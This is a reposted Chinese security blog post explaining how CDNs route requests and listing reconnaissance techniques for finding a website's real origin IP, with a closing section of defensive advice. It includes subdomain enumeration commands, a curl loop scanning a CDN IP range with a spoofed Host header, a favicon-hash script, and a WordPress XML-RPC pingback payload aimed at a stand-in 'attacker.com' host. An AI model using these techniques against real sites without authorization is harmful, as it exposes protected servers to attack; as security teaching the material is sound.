CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路

admin 2024年8月24日20:28:27评论33 views字数 2388阅读7分57秒阅读模式
读者朋友们好,我是v浪。今天给大家带来一篇技术干货 - CDN绕过技巧全解析。

随着网络安全意识的提升,越来越多的网站开始使用CDN来隐藏真实IP,增强安全性。但作为渗透测试人员,我们有时需要直接与源站交互。那么如何绕过CDN找到网站真实IP呢?

CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路

0x01 CDN工作原理简析

在讲解绕过技巧前,我们先简单回顾下CDN的工作机制:

  1. 用户请求:

  • 用户输入网址,触发DNS查询
  • 浏览器准备HTTP请求,建立TCP连接
  • 发送HTTP/HTTPS请求
  1. DNS解析到CDN节点:

  • 本地DNS逐级查询直到权威服务器
  • 获得CDN的CNAME记录
  • CDN的DNS服务器进行智能解析
  • 返回最优CDN节点IP
  1. CDN节点处理:

  • 解析HTTP请求
  • 检查多级缓存(内存、SSD、HDD)
  • 缓存命中则返回内容
  • 缓存未命中触发回源:
    • 与源站建立连接
    • 请求内容并接收响应
    • 处理响应,决定是否缓存
  • 准备响应给用户
  1. 内容呈现:

  • CDN节点发送HTTP响应
  • 浏览器接收并处理响应
  • 解析DOM,加载资源
  • 渲染页面,执行脚本

安全切入点:

  • DNS阶段:寻找未保护子域名,分析历史记录
  • 路由阶段:构造特殊请求绕过CDN
  • 缓存阶段:尝试缓存投毒,强制回源
  • 回源阶段:HTTP请求走私,分析回源特征
  • 响应阶段:识别CDN供应商,利用优化功能漏洞
  • 客户端阶段:插入恶意代码,分析信息泄露

可以看到,CDN巧妙地隐藏了源站IP,增加了攻击难度。但天下无难事,只怕有心人。下面我们就来看看如何突破这层防护。

CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路

0x02 绕过技巧大揭秘

  1. 历史DNS记录挖掘

很多网站在迁移到CDN之前,A记录是直接指向源站IP的。我们可以借助一些在线工具来查询历史DNS记录:

  • SecurityTrails (https://securitytrails.com/)
  • ViewDNS.info (https://viewdns.info/)

使用示例:

$ curl -s "https://securitytrails.com/domain/example.com/history/a"
  1. 子域名枚举+爆破

有时某些子域名可能疏忽大意,忘记配置CDN。我们可以通过子域名枚举来碰碰运气:

工具推荐:

  • Sublist3r
  • Amass

使用示例:

$ python sublist3r.py -d example.com
$ amass enum -d example.com

得到子域名列表后,可以用httpx等工具批量探测,看是否有直接暴露IP的。

  1. 邮件头分析大法

如果目标的邮件服务器和web服务器同IP,那邮件头中可能包含真实IP信息。

可以尝试:

  • 注册账号,使用密码重置功能
  • 给不存在的邮箱发邮件,触发退信

分析示例:

Received: from mail.example.com (203.0.113.1) by ...
  1. SSL证书情报收集

有时候SSL证书中会意外包含真实IP。可以使用这些工具搜索:

  • Censys (https://censys.io/)
  • Shodan (https://www.shodan.io/)
  1. 文件引用分析

网站的静态资源(如js、css等)可能直接引用了源站IP。可以仔细检查网页源码,寻找类似:

<script src="http://203.0.113.1/main.js"></script>
  1. Favicon哈希碰撞

网站图标的哈希值可以用来在Shodan等平台搜索相关IP。

使用Python脚本生成哈希:

import mmh3
import requests
import codecs

response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(hash)

然后在Shodan搜索:

http.favicon.hash:123456789
  1. 敏感信息泄露

一些网站可能在某些页面不小心泄露了真实IP。可以尝试:

  • robots.txt
  • sitemap.xml
  • phpinfo页面
  • 错误页面
  1. CDN节点IP段扫描

这是一个比较暴力但有效的方法。步骤如下:

a) 确定目标使用的CDN提供商 b) 获取该CDN的IP段 c) 扫描IP段,结合Host头访问

示例脚本:

for ip in $(seq 1 254); do
  curl -H "Host: example.com" http://104.16.0.$ip
done
  1. 利用XML-RPC

如果目标是WordPress站点,可以尝试利用XML-RPC:

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>pingback.ping</methodName> 
<params>
 <param>
  <value><string>http://attacker.com/</string></value>
 </param>
 <param>
  <value><string>http://target.com/?p=1</string></value>
 </param>
</params>
</methodCall>

这可能触发目标服务器主动连接我们控制的服务器,暴露真实IP。

0x03 总结

以上就是一些常见的CDN绕过技巧。在实战中,往往需要组合多种方法才能见效。同时提醒大家,未经授权的测试可能违法,请谨慎行事。

最后,站在防守的角度,我们要:

  • 确保所有子域名都配置了CDN
  • 不在源站直接对外提供服务
  • 使用独立的邮件服务器
  • 仔细检查网站代码,避免IP泄露
  • 对源站进行适当加固

好了,今天的分享就到这里。如果你还有其他黑魔法,欢迎在评论区分享。我是v浪,我们下期再见!

原文始发于微信公众号(HW安全之路):CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月24日20:28:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CDN绕过系列 | 深度解析内容分发网络工作机制,揭秘黑客攻击思路https://cn-sec.com/archives/3091531.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息